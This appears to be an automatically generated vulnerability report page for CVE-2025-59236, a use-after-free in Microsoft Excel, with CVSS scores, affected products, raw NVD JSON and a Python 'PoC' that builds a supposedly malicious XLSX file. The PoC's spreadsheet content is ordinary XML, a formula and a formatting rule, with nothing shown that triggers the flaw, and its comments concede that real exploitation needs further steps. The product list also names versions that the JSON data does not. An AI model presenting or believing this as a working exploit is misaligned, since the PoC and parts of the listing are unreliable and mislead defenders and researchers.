Security Vulnerability Report
中文
CVE-2025-59236 CVSS 8.4 HIGH

CVE-2025-59236

Published: 2025-10-14 17:16:05
Last Modified: 2025-10-28 20:20:23

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Excel 2016 (所有版本)
Microsoft Office Excel 2019 (所有版本)
Microsoft Office Excel 2021 (所有版本)
Microsoft 365 Apps for Enterprise (受影响版本)
Microsoft Office LTSC 2024 (受影响版本)
Microsoft Office for Mac (受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59236 PoC - Microsoft Office Excel Use After Free # This is a conceptual PoC demonstrating the vulnerability trigger # Note: Actual exploitation requires a specially crafted Excel file import struct import os def create_malicious_xlsx(output_path): """ Create a malicious Excel file that triggers the Use After Free vulnerability in Microsoft Office Excel (CVE-2025-59236). The vulnerability is triggered when Excel processes certain internal data structures, leading to a use-after-free condition that can be leveraged for arbitrary code execution. """ # XLSX is a ZIP archive containing XML files # The vulnerability is typically triggered through malformed OOXML structures import zipfile import io # Minimal XLSX structure workbook_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' # Malicious worksheet content designed to trigger UAF # The key is to create structures that cause Excel to free memory # and then reference it again worksheet_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"> <v>0</v> </c> </row> <!-- Trigger UAF through malformed cell references and data structures --> <row r="2"> <c r="A2" t="str"> <f>INDIRECT("A"&amp;ROW())</f> <v>AAAA</v> </c> </row> </sheetData> <!-- Conditional formatting that triggers memory operations --> <conditionalFormatting sqref="A1:A100"> <cfRule type="expression" priority="1"> <formula>TRUE</formula> </cfRule> </conditionalFormatting> </worksheet>''' # Create the malicious XLSX file with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' + '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' + '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' + '<Default Extension="xml" ContentType="application/xml"/>' + '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' + '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' + '</Types>') zf.writestr('_rels/.rels', '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' + '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' + '</Relationships>') zf.writestr('xl/workbook.xml', workbook_xml) zf.writestr('xl/worksheets/sheet1.xml', worksheet_xml) print(f"Malicious Excel file created at: {output_path}") print("WARNING: This file may trigger CVE-2025-59236 when opened in vulnerable Excel versions.") if __name__ == "__main__": output_file = "exploit_cve_2025_59236.xlsx" create_malicious_xlsx(output_file) # Note: Real exploitation would require: # 1. Heap spray to control freed memory contents # 2. ROP chain or shellcode placement # 3. Specific Excel version targeting # 4. Possibly leveraging other vulnerabilities for code execution

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59236", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:05.420", "lastModified": "2025-10-28T20:20:22.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20059", "matchCriteriaId": "94C948A2-EAF1-4471-81BD-38E5F4A92F72"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59236", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}